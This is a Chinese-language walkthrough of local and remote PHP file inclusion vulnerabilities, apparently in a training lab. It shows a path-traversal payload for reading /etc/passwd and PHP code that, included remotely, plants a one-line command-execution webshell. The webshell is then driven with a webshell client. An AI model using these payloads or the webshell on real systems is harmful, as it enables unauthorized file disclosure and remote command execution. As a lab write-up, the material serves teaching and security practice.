0x00 File Inclusion(文件包含)
许多语言都提供了内置的文件包含函数。文件包含允许在一个代码文件中直接包含(引入)另一个代码文件。PHP 中提供了:
include()include_once()require()require_once()
文件包含漏洞是指文件包含的文件(名称)被开放为变量,而通过前端可以修改这个变量的值。靶场给出了两种文件包含案例。
- 本地文件包含:仅能对服务端本地文件进行包含,攻击者可能会通过包含系统配置文件获得敏感信息,或者配合远程文件包含获得更高权限;
- 远程文件包含:恶意文件可能存在于匿名文件暂存网站或攻击者控制的某台 VPS 上,若目标服务端支持通过 URL 包含远程文件,则极有可能受到重创。
0x01 本地文件包含
查看源码可知对前端输入没有过滤。
选择 Kobe Bryant,可以看到 URL 变化:/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 。filename是完全可控的,直接修改即可。
举例:Linux 下查看 /etc/passwd,指定filename为:../../../../../../../../etc/passwd。
0x02 远程文件包含
首先需要 PHP 配置支持。在 php.ini 中,关注两项:
-
allow_url_fopen = on(默认为on) -
allow_url_include = on(默认为off)
写一个文本,以 PHP 代码创建 PHP 一句话木马:
<?php
$file = fopen("op.php", "w");
$txt = \'<?php system($_GET[x]);?>\';
fwrite($file, $txt);
fclose($file);
?>
因为是内网测试,就将这份文本用 live server 挂在物理机上,指定filename为该文本的 URL。
文件包含将执行上述代码,将一句话木马写在同级目录,之后上菜刀即可。